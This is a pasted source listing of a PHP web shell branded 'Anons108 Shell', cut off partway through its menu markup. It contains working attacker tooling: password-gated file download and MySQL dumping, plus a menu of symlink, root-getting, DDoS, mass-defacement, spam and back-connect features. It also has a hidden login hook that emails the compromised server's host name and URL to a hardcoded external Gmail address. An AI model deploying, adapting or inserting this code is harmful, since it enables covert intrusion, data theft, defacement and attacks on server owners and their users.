· 10 years ago · Jul 23, 2016, 01:54 PM
1<?php
2
3
4error_reporting(7);
5@set_magic_quotes_runtime(0);
6ob_start();
7$mtime = explode(' ', microtime());
8$starttime = $mtime[1] + $mtime[0];
9define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
10//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
11define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
12define('IS_COM', class_exists('COM') ? 1 : 0 );
13define('IS_GPC', get_magic_quotes_gpc());
14$dis_func = get_cfg_var('disable_functions');
15define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
16@set_time_limit(0);
17
18foreach(array('_GET','_POST') as $_request) {
19 foreach($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28
29/*================= Info Login ================*/
30$admin = array();
31$admin['check'] = true;
32$admin['pass'] = 'deptrai123'; // Password login
33$admin['cookiepre'] = '';
34$admin['cookiedomain'] = '';
35$admin['cookiepath'] = '/';
36$admin['cookielife'] = 86400;
37/*===================== End =====================*/
38
39if ($charset == 'utf8') {
40 header("content-Type: text/html; charset=utf-8");
41} elseif ($charset == 'big5') {
42 header("content-Type: text/html; charset=big5");
43} elseif ($charset == 'gbk') {
44 header("content-Type: text/html; charset=gbk");
45} elseif ($charset == 'latin1') {
46 header("content-Type: text/html; charset=iso-8859-2");
47}
48
49$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
50$timestamp = time();
51
52/*===================== Login =====================*/
53if ($action == "logout") {
54 scookie('vbapass', '', -86400 * 365);
55 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
56 p('<body background=black>');
57 exit;
58}
59if($admin['check']) {
60 if ($doing == 'login') {
61 if ($admin['pass'] == $password) {
62 scookie('vbapass', $password);
63
64// Function mail Sender to my Email
65$time_shell = "".date("d/m/Y - H:i:s")."";
66$ip_remote = $_SERVER["REMOTE_ADDR"];
67$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
68$to_email = 'redinteres23071999@gmail.com';
69$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
70$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
71$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
72@mail($to_email, $server_mail, $linkcr, $header);
73 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
74 p('<body bgcolor=black>
75<BR><BR><ul class="loader">
76 <li>
77 <div class="circle"></div>
78 <div class="ball"></div>
79 </li>
80 <li>
81 <div class="circle"></div>
82 <div class="ball"></div>
83 </li>
84 <li>
85 <div class="circle"></div>
86 <div class="ball"></div>
87 </li>
88 <li>
89 <div class="circle"></div>
90 <div class="ball"></div>
91 </li>
92 <li>
93 <div class="circle"></div>
94 <div class="ball"></div>
95 </li>
96</ul>
97
98<style>
99.loader {
100 width: 250px;
101 height: 50px;
102 position: absolute;
103 top: 50%;
104 left: 50%;
105 margin: -25px -125px;
106 list-style-type: none;
107}
108
109.loader li {
110 float: left;
111 position: relative;
112}
113
114.circle {
115 width: 40px;
116 height: 40px;
117 border-radius: 0 0 50% 50%;
118 border: 4px solid #fff;
119 border-top: 0;
120 border-left: 0;
121 border-right: 0;
122}
123
124.ball {
125 position: absolute;
126 content: "";
127 width: 20px;
128 height: 20px;
129 top: 50%;
130 left: 50%;
131 margin-top: -10px;
132 margin-left: -10px;
133 border-radius: 100%;
134 background: #fff;
135 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
136}
137
138.circle {
139 -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
140 animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
141}
142
143.ball {
144 -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
145 animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
146}
147
148.loader li:nth-child(1) div {
149 -webkit-animation-delay: 100ms;
150 animation-delay: 100ms;
151}
152
153.loader li:nth-child(2) div {
154 -webkit-animation-delay: 200ms;
155 animation-delay: 200ms;
156}
157
158.loader li:nth-child(3) div {
159 -webkit-animation-delay: 300ms;
160 animation-delay: 300ms;
161}
162
163.loader li:nth-child(4) div {
164 -webkit-animation-delay: 400ms;
165 animation-delay: 400ms;
166}
167
168.loader li:nth-child(5) div {
169 -webkit-animation-delay: 500ms;
170 animation-delay: 500ms;
171}
172
173@keyframes rotate {
174 0%, 20% {
175 transform: rotate(0deg);
176 }
177 100% {
178 transform: rotate(360deg);
179 }
180}
181
182@-webkit-keyframes rotate {
183 0%, 20% {
184 -webkit-transform: rotate(0deg);
185 }
186 100% {
187 -webkit-transform: rotate(360deg);
188 }
189}
190
191@keyframes fall {
192 0%, 20% {
193 transform: translatey(-30px);
194 opacity: 0;
195 }
196 20%,
197 24%,
198 27%,
199 30%,
200 50%,
201 75% {
202 transform: translatey(0px);
203 opacity: 1;
204 }
205 22% {
206 transform: translatey(-10px)
207 }
208 25% {
209 transform: translatey(-6px)
210 }
211 28% {
212 transform: translatey(-2px)
213 }
214 30% {
215 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
216 }
217 75%,
218 100% {
219 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
220 transform: translatey(30px);
221 opacity: 0;
222
223 }
224}
225
226@-webkit-keyframes fall {
227 0%, 20% {
228 -webkit-transform: translatey(-30px);
229 opacity: 0;
230 }
231 20%,
232 24%,
233 27%,
234 30%,
235 50%,
236 75% {
237 -webkit-transform: translatey(0px);
238 opacity: 1;
239 }
240 22% {
241 -webkit-transform: translatey(-10px)
242 }
243 25% {
244 -webkit-transform: translatey(-6px)
245 }
246 28% {
247 -webkit-transform: translatey(-2px)
248 }
249 30% {
250 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
251 }
252 75%,
253 100% {
254 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
255 -webkit-transform: translatey(30px);
256 opacity: 0;
257 }
258}
259</style>');
260 exit;
261 }
262
263 else
264 {
265 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
266echo $err_mess;
267 }}
268 if ($_COOKIE['vbapass']) {
269 if ($_COOKIE['vbapass'] != $admin['pass']) {
270 loginpage();
271 }
272 } else {
273 loginpage();
274 }
275}
276/*===================== Login =====================*/
277
278$errmsg = '';
279
280if ($action == 'phpinfo') {
281 if (IS_PHPINFO) {
282 phpinfo();
283 } else {
284 $errmsg = 'phpinfo() function has non-permissible';
285 }
286}
287
288
289if ($doing == 'downfile' && $thefile) {
290 if (!@file_exists($thefile)) {
291 $errmsg = 'The file you want Downloadable was nonexistent';
292 } else {
293 $fileinfo = pathinfo($thefile);
294 header('Content-type: application/x-'.$fileinfo['extension']);
295 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
296 header('Content-Length: '.filesize($thefile));
297 @readfile($thefile);
298 exit;
299 }
300}
301
302
303if ($doing == 'backupmysql' && !$saveasfile) {
304 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
305 $table = array_flip($table);
306 $result = q("SHOW tables");
307 if (!$result) p('<h2>'.mysql_error().'</h2>');
308 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
309 header('Content-type: application/unknown');
310 header('Content-Disposition: attachment; filename='.$filename);
311 $mysqldata = '';
312 while ($currow = mysql_fetch_array($result)) {
313 if (isset($table[$currow[0]])) {
314 $mysqldata .= sqldumptable($currow[0]);
315 }
316 }
317 mysql_close();
318 exit;
319}
320
321// Mysql
322if($doing=='mysqldown'){
323 if (!$dbname) {
324 $errmsg = 'Please input dbname';
325 } else {
326 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
327 if (!file_exists($mysqldlfile)) {
328 $errmsg = 'The file you want Downloadable was nonexistent';
329 } else {
330 $result = q("select load_file('$mysqldlfile');");
331 if(!$result){
332 q("DROP TABLE IF EXISTS tmp_angel;");
333 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
334 //Download SQL
335 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
336 $result = q("select content from tmp_angel");
337 q("DROP TABLE tmp_angel");
338 }
339 $row = @mysql_fetch_array($result);
340 if (!$row) {
341 $errmsg = 'Load file failed '.mysql_error();
342 } else {
343 $fileinfo = pathinfo($mysqldlfile);
344 header('Content-type: application/x-'.$fileinfo['extension']);
345 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
346 header("Accept-Length: ".strlen($row[0]));
347 echo $row[0];
348 exit;
349 }
350 }
351 }
352}
353
354?>
355<html>
356<head>
357<meta http-equiv="Content-Type" content="text/html; charset=gbk">
358<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
359<script type="text/javascript" language="javascript">
360<!--
361ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
362MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
363OT="";
364for(j=0;j<MI.length;j++){
365OT+=ML.charAt(MI.charCodeAt(j)-48);
366}document.write(OT);
367// --></script>
368 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
369 <tr class="alt1">
370 <style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>
371 <td width=10%><style>
372 @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);
373/* Starter CSS for Menu */
374#cssmenu {
375 padding: 0;
376 margin: 0;
377 border: 0;
378 width: auto;
379}
380#cssmenu ul,
381#cssmenu li {
382 list-style: none;
383 margin: 0;
384 padding: 0;
385}
386#cssmenu ul {
387 position: relative;
388 z-index: 597;
389}
390#cssmenu ul li {
391 float: left;
392 min-height: 1px;
393 vertical-align: middle;
394}
395#cssmenu ul li.hover,
396#cssmenu ul li:hover {
397 position: relative;
398 z-index: 599;
399 cursor: default;
400}
401#cssmenu ul ul {
402 visibility: hidden;
403 position: absolute;
404 top: 100%;
405 left: 0;
406 z-index: 598;
407 width: 100%;
408}
409#cssmenu ul ul li {
410 float: none;
411}
412#cssmenu ul ul ul {
413 top: 0;
414 left: 190px;
415 width: 190px;
416}
417#cssmenu ul li:hover > ul {
418 visibility: visible;
419}
420#cssmenu ul ul {
421 bottom: 0;
422 left: 0;
423}
424#cssmenu ul ul {
425 margin-top: 0;
426}
427#cssmenu ul ul li {
428 font-weight: normal;
429}
430#cssmenu a {
431 display: block;
432 line-height: 1em;
433 text-decoration: none;
434}
435/* Custom CSS Styles */
436#cssmenu {
437 background: #333333;
438 border-bottom: 4px solid #1b9bff;
439 font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
440 font-size: 12px;
441}
442#cssmenu > ul {
443 *display: inline-block;
444}
445#cssmenu:after,
446#cssmenu ul:after {
447 content: '';
448 display: block;
449 clear: both;
450}
451#cssmenu ul {
452 text-transform: uppercase;
453}
454#cssmenu ul ul {
455 border-top: 4px solid #1b9bff;
456 text-transform: none;
457 min-width: 190px;
458}
459#cssmenu ul ul a {
460 background: #1b9bff;
461 color: #ffffff;
462 border: 1px solid #0082e7;
463 border-top: 0 none;
464 line-height: 150%;
465 padding: 16px 20px;
466 font-size: 12px;
467}
468#cssmenu ul ul ul {
469 border-top: 0 none;
470}
471#cssmenu ul ul li {
472 position: relative;
473}
474#cssmenu ul ul li:first-child > a {
475 border-top: 1px solid #0082e7;
476}
477#cssmenu ul ul li:hover > a {
478 background: #4eb1ff;
479 color: #ffffff;
480}
481#cssmenu ul ul li:last-child > a {
482 -moz-border-radius: 0 0 3px 3px;
483 -webkit-border-radius: 0 0 3px 3px;
484 border-radius: 0 0 3px 3px;
485 -moz-background-clip: padding;
486 -webkit-background-clip: padding-box;
487 background-clip: padding-box;
488 -moz-box-shadow: 0 1px 0 #1b9bff;
489 -webkit-box-shadow: 0 1px 0 #1b9bff;
490 box-shadow: 0 1px 0 #1b9bff;
491}
492#cssmenu ul ul li:last-child:hover > a {
493 -moz-border-radius: 0 0 0 3px;
494 -webkit-border-radius: 0 0 0 3px;
495 border-radius: 0 0 0 3px;
496 -moz-background-clip: padding;
497 -webkit-background-clip: padding-box;
498 background-clip: padding-box;
499}
500#cssmenu ul ul li.has-sub > a:after {
501 content: '+';
502 position: absolute;
503 top: 50%;
504 right: 15px;
505 margin-top: -8px;
506}
507#cssmenu ul li:hover > a,
508#cssmenu ul li.active > a {
509 background: #1b9bff;
510 color: #ffffff;
511}
512#cssmenu ul li.has-sub > a:after {
513 content: '+';
514 margin-left: 5px;
515}
516#cssmenu ul li.last ul {
517 left: auto;
518 right: 0;
519}
520#cssmenu ul li.last ul ul {
521 left: auto;
522 right: 99.5%;
523}
524#cssmenu a {
525 background: #333333;
526 color: #CBCBCB;
527 padding: 0 20px;
528}
529#cssmenu > ul > li > a {
530 line-height: 48px;
531 font-size: 12px;
532}
533input, textarea, button
534{
535 font-size: 11pt;
536 color: white;
537 font-family: verdana, sans-serif;
538 background-color: rgba(255, 0, 0, 0.61);
539 border-left: 2px dashed #74A202;
540 border-top: 2px dashed #74A202;
541 border-right: 2px dashed #74A202;
542 border-bottom: 2px dashed #74A202;
543}
544 </style>
545 <html>
546<head>
547<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
548<link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" />
549<title>.:: Anons108 Shell ::. </title>
550<style type="text/css">
551*{margin:0;padding:0}
552#Anons108 {
553position:fixed;
554top:0;left:0;
555width:100%;height:100%;
556z-index:-1;
557}
558body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;
559background-attachment: fixed;
560font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
561
562a {color: #00FF7F;text-decoration:none;}
563a:hover{color: yellow;text-decoration:underline;}
564.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
565.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
566.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
567.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
568.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
569.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
570.head_small td{
571font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
572.head td span{font-weight:normal;}
573form{margin:0;padding:0;}
574h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
575ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
576u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
577input, textarea, button
578{
579 font-size: 9pt;
580 color: #FFF;
581 font-family: verdana, sans-serif;
582 background-color: rgba(255, 0, 0, 0.61);
583 border-left: 1px solid #74A202;
584 border-top: 1px solid #74A202;
585 border-right: 1px solid #74A202;
586 border-bottom: 1px solid #74A202;
587}
588select
589{
590 font-size: 8pt;
591 font-weight: normal;
592 color: #ccc;
593 font-family: verdana, sans-serif;
594 background-color: #202020;
595}
596
597 @-webkit-keyframes tnkss{
598 1% {opacity: 0.0;}
599 25% {opacity: 0.3;}
600 50% {opacity: 0.1;}
601 75% {opacity: 0.7;}
602 100 {opacity: 1;}
603 }
604</style>
605<script type="text/javascript">
606function CheckAll(form) {
607 for(var i=0;i<form.elements.length;i++) {
608 var e = form.elements[i];
609 if (e.name != 'chkall')
610 e.checked = form.chkall.checked;
611 }
612}
613function $(id) {
614 return document.getElementById(id);
615}
616function goaction(act){
617 $('goaction').action.value=act;
618 $('goaction').submit();
619}
620</script>
621</head>
622<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
623<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
624 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
625 <tr>
626 <td align="center" valign=center>
627 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
628 Waiting....<img src="http://publication.ida.org.in/images/loading.gif">
629 </div>
630 </td>
631 </tr>
632 </table>
633</div>
634 <script>
635 var ld=(document.all);
636 var ns4=document.layers;
637 var ns6=document.getElementById&&!document.all;
638 var ie4=document.all;
639 if (ns4)
640 ld=document.loading;
641 else if (ns6)
642 ld=document.getElementById("loading").style;
643 else if (ie4)
644 ld=document.all.loading.style;
645 function init()
646 {
647 if(ns4){ld.visibility="hidden";}
648 else if (ns6||ie4) ld.display="none";
649 }
650 </script>
651
652
653
654
655
656<table width="100%" border="0" cellpadding="0" cellspacing="0">
657 <tr class="head_small">
658 <td width=100%>
659 <table width=100%><tr class="head_small"><td width=260px><a title="Anons108 Shell" href="<?php $self;?>"><img src=http://tieuhoctrungvan.pgdnamtuliem.edu.vn/assets/items/hacked-by-x-groups/x-groups.JPG height=180 border=0></a></td><td>
660
661 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/Anons108" target="_blank"><?php echo str_replace('.','','Anons108');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Äăng Xuất</font></a></span> <br />
662 <?php
663 $curl_on = @function_exists('curl_version');
664 $mysql_on = @function_exists('mysql_connect');
665 $mssql_on = @function_exists('mssql_connect');
666 $pg_on = @function_exists('pg_connect');
667 $ora_on = @function_exists('ocilogon');
668
669echo (($safe_mode)?("Safe_mod: <b><font color=#FF8C00>Mở</font></b> - "):("Safe_mod: <b><font color=red>Đóng</font></b> - "));
670echo "PHP version: <b>".@phpversion()."</b> - ";
671 echo "cURL: ".(($curl_on)?("<b><font color=#FF8C00>Mở</font></b> - "):("<b><font color=red>Đóng</font></b> - "));
672 echo "MySQL: <b>";
673$mysql_on = @function_exists('mysql_connect');
674if($mysql_on){
675echo "<font color=#FF8C00>Mở</font></b> - "; } else { echo "<font color=red>Đóng</font></b> - "; }
676echo "MSSQL: <b>";
677$mssql_on = @function_exists('mssql_connect');
678if($mssql_on){echo "<font color=#FF8C00>Mở</font></b> - ";}else{echo "<font color=red>Đóng</font></b> - ";}
679echo "PostgreSQL: <b>";
680$pg_on = @function_exists('pg_connect');
681if($pg_on){echo "<font color=#FF8C00>Mở</font></b> - ";}else{echo "<font color=red>Đóng</font></b> - ";}
682echo "Oracle: <b>";
683$ora_on = @function_exists('ocilogon');
684if($ora_on){echo "<font color=#FF8C00>Mở</font></b>";}else{echo "<font color=red>Đóng</font></b><BR>";}
685
686
687
688echo "Disable functions : <b>";
689if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>KHÔNG </font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
690
691echo "<font color=#FF8C00>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
692echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";
693echo "<font color=#FF8C00>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=#FF8C00>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
694 ?>
695 </td></tr></table></td>
696 </tr>
697 <tr class="alt1">
698 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=red>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
699
700 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
701 <tr class="alt1">
702 <td width=10%><style>
703 #abt-nav,#abt-nav ul {
704 list-style: none outside none;
705 margin: 0;
706 padding: 0;
707}
708#abt-nav {
709 background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');
710 clear: both;
711 font-size: 12px;
712 height: 45px;
713 padding: 0 0 0 15px;
714 position: relative;
715 width: 90%;
716}
717#abt-nav ul {
718 background-color: #222;
719 border:1px solid #222;
720 border-radius: 0 5px 5px 5px;
721 border-width: 0 1px 1px;
722 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
723 left: -9999px;
724 overflow: hidden;
725 position: absolute;
726 top: -9999px;
727 z-index: 2;
728 -moz-transform: scaleY(0);
729 -ms-transform: scaleY(0);
730 -o-transform: scaleY(0);
731 -webkit-transform: scaleY(0);
732 transform: scaleY(0);
733 -moz-transform-origin: 0 0;
734 -ms-transform-origin: 0 0;
735 -o-transform-origin: 0 0;
736 -webkit-transform-origin: 0 0;
737 transform-origin: 0 0;
738 -moz-transition: -moz-transform 0.1s linear;
739 -ms-transition: -ms-transform 0.1s linear;
740 -o-transition: -o-transform 0.1s linear;
741 -webkit-transition: -webkit-transform 0.1s linear;
742 transition: transform 0.1s linear;
743}
744#abt-nav li {
745 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
746 float: left;
747 position: relative;
748}
749#abt-nav li a {
750 color: #FFFFFF;
751 display: block;
752 float: left;
753 font-weight: normal;
754 height: 30px;
755 padding: 23px 20px 0;
756 position: relative;
757 text-decoration: none;
758 text-shadow: 1px 1px 1px #000000;
759}
760#abt-nav li:hover > a {
761 color: #00B4FF;
762}
763#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
764 background: none repeat scroll 0 0 #121212;
765 outline: 0 none;
766}
767#abt-nav li:hover ul.subs {
768 left: 0;
769 top: 53px;
770 width: 180px;
771 -moz-transform: scaleY(1);
772 -ms-transform: scaleY(1);
773 -o-transform: scaleY(1);
774 -webkit-transform: scaleY(1);
775 transform: scaleY(1);
776}
777#abt-nav ul li {
778 background: none;
779 width: 100%;
780}
781#abt-nav ul li a {
782 float: none;
783}
784#abt-nav ul li:hover > a {
785 background-color: #121212;
786 color: #00B4FF;
787}
788
789#lavalamp {
790 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
791 height: 16px;
792 left: 13px;
793 position: absolute;
794 top: 0px;
795 width: 64px;
796 -moz-transition: all 300ms ease;
797 -ms-transition: all 300ms ease;
798 -o-transition: all 300ms ease;
799 -webkit-transition: all 300ms ease;
800 transition: all 300ms ease;
801}
802
803#lavalamp:hover {
804 -moz-transition-duration: 3000s;
805 -ms-transition-duration: 3000s;
806 -o-transition-duration: 3000s;
807 -webkit-transition-duration: 3000s;
808 transition-duration: 3000s;
809}
810
811#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
812 left: 17px;
813}
814#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
815 left: 103px;
816}
817#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
818 left: 178px;
819}
820#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
821 left: 262px;
822}
823#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
824 left: 344px;
825}
826#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
827 left: 425px;
828}
829#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
830 left: 522px;
831}
832#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
833 left: 615px;
834}
835#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
836 left: 705px;
837}
838#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
839 left: 795px;
840}
841#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
842 left: 900px;
843}
844#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
845 left: 1005px;
846}
847#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
848 left: 1100px;
849}
850#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
851 left: 1190px;
852}
853#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
854 left: 1287px;
855}
856#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
857 left: 1377px;
858}
859#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
860 left: 1475px;
861}
862#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
863 left: 195px;
864}
865#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
866 left: 1610px;
867}
868 </style>
869 <ul id="abt-nav">
870 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chá»§;</font></a></li>
871 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
872 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
873 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
874 <ul class="subs">
875 <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>
876 <li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>
877 <li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>
878 <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>
879 <li><a href="javascript:goaction('ssihtml');" target="_blank">SSIHTML Shell</a></li>
880 </ul>
881 </li>
882
883
884 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
885 <ul class="subs">
886 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
887 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
888 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>
889 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>
890 <li><a href="javascript:goaction('md5');">MD5</a></li>
891 <li><a href="javascript:goaction('crack');">Crack</a></li>
892 <li><a href="javascript:goaction('base64');">Tool SVIT</a></li>
893
894 </ul>
895
896 </li>
897 <li><a href="javascript:goaction('getroot');"><font color=#5EFB6E>Get Root</font></a></li>
898 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
899 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
900 <ul class="subs">
901 <li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>
902 <li><a href="javascript:goaction('symroot');">Symlink</a></li>
903 </ul>
904 </li>
905 <li><a class="hsubs" href="#"><font color=#52F3FF>DDos Tool</font></a>
906 <ul class="subs">
907 <li><a href="javascript:goaction('ddosv2');">DDos V2</a></li>
908 <li><a href="javascript:goaction('ddos');">DDos Script</a></li>
909 <li><a href="javascript:goaction('ddosbot');">DDos Bot Shell</a></li>
910 </ul>
911
912 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
913 <li><a href="javascript:goaction('reverseip');"><font color=#FF8C00>Reverse IP </font></a></li>
914 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
915 <ul class="subs">
916 <li><a href="javascript:goaction('mass');">With Root</a></li>
917 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
918 <li><a href="javascript:goaction('khanhoccho');">MDF BY ANONS108</a></li>
919
920
921 </ul>
922 </li>
923 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
924 <ul class="subs">
925 <li><a href="javascript:goaction('newcommand');">Command</a></li>
926 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
927 </ul></li>
928 <li><a class="hsubs" href="#"><font color=#FF69B4>Deface</font></a>
929 <ul class="subs">
930 <li><a href="javascript:goaction('indexanons108');">My Index</a></li>
931
932 </ul>
933 <li><a class="hsubs" href="#"><font color=#FF8C00>Shell Hacking</font></a>
934
935 <ul class="subs">
936 <li><a href="javascript:goaction('vcl123');">Shell Ws0</a></li>
937 <li><a href="javascript:goaction('byg');">Shell Byg</a></li>
938 <li><a href="javascript:goaction('hungml');">Shell BKV-1102</a></li>
939 </ul>
940
941 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
942 <ul class="subs">
943 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
